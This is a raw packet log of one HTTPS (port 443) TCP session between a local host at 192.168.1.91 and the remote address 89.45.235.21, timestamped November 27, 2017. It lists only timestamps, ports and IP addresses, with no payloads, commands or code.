Nov 27, 2017 12:34:34.897778988 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.897797108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.899365902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.899393082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.899471045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.899496078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.905216932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.905230045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.905258894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.905277967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.905390978 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.924658060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.924671888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.924680948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.924740076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.930563927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.930577040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.930583000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.930656910 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.930679083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.930994034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.931004047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.931054115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.931073904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.936949968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.936963081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.937050104 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.937071085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.937422991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.937436104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.937485933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.937504053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.939991951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.940016031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.940094948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.940116882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.952615976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.952640057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.952739000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.952760935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.959347010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.959372044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.959687948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.959727049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.961740017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.961765051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.961895943 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.961936951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.962296009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.962330103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.962461948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.962507010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.967746973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.967941046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.967976093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.970901966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.970921040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.971024990 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.971052885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.978735924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.978768110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.978799105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.978815079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.978960037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.981255054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.981285095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.981309891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.981369972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.984086037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.984098911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.984103918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.984157085 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.028848886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.052633047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.052661896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.052879095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.052902937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.065504074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.065529108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.065649986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.065671921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.089771986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.089797974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.089848042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.089868069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.107561111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.107590914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.107706070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.107728004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.125997066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.126023054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.126034975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.126166105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.126193047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.127870083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.127892017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.127964973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.127986908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.145111084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.145339012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.145386934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.146640062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.146672964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.146841049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.146887064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.154371977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.154400110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.154443026 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.154462099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.154582024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.163899899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.163930893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.163948059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.164073944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.165174961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.165209055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.165236950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.165302038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.175875902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.182177067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.182202101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.182326078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.182348013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.197309017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.197330952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.197350979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.197433949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.197468042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.217473984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.217495918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.217622042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.217642069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.219089031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.219110966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.219264030 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.219284058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.226087093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.226111889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.226233006 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.226255894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.237212896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.237242937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.237371922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.237391949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.246498108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.246660948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.246690989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.249254942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.249277115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.249397039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.249416113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.257416010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.257440090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.257577896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.257615089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265098095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265121937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265243053 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.265261889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265706062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265733004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.265930891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.265968084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.273530960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.273556948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.273572922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.273652077 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.273670912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.280033112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.280061960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.280213118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.280232906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.280884981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.280900955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.281056881 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.281084061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.288602114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.288625002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.288712025 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.288732052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.300131083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.300173044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.300179005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.300276995 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.300296068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.302051067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.302074909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.302186966 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.302216053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.306690931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.306715965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.306860924 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.306879997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.309581995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.309611082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.309739113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.309758902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.312231064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.312254906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.312383890 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.312402964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.315922976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.315952063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.316070080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.316090107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.317172050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.317198992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.317323923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.317353010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.321501017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.321521997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.321646929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.321666956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326138020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326162100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326168060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326237917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.326257944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326726913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326755047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.326889992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.326920033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.331039906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.331069946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.331212997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.331247091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.333619118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.333650112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.333705902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.333817959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.333844900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.338382006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.338399887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.338495970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.338515997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.340003014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.340018988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.340122938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.340142965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.341962099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.341989040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.342071056 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.342093945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.343463898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.343487024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.343714952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.343755007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.347527027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.347719908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.347760916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.349159002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.349184990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.349364996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.349410057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.350495100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.350517988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.350698948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.350750923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.353916883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.353930950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.354077101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.354121923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.356789112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.356829882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.356909037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.356930971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.361740112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.361757994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.361767054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.361865997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.361892939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.366909027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.366924047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.367069960 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.367096901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.370799065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.370825052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.370913982 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.370940924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.374162912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.374186993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.374212027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.374309063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.374339104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.376753092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.376765013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.376902103 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.376930952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.379549980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.379564047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.379692078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.379719973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.382339954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.382353067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.382359028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.382442951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.382469893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.388931036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.388950109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.389069080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.389098883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.390471935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.390486956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.390616894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.390646935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.391628981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.391644955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.391758919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.391788960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.395385027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.395401955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.395519018 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.395544052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.397893906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.397902966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.397974968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.397999048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.400826931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.400850058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.400866032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.400960922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.400988102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.401216984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.401232958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.401294947 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.401319981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.403363943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.403384924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.403486967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.403513908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.404686928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.404706001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.404789925 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.404814959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.406510115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.406536102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.406554937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.406646013 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.406671047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.407809019 CET	443	49165	89.45.235.21	192.168.1.91
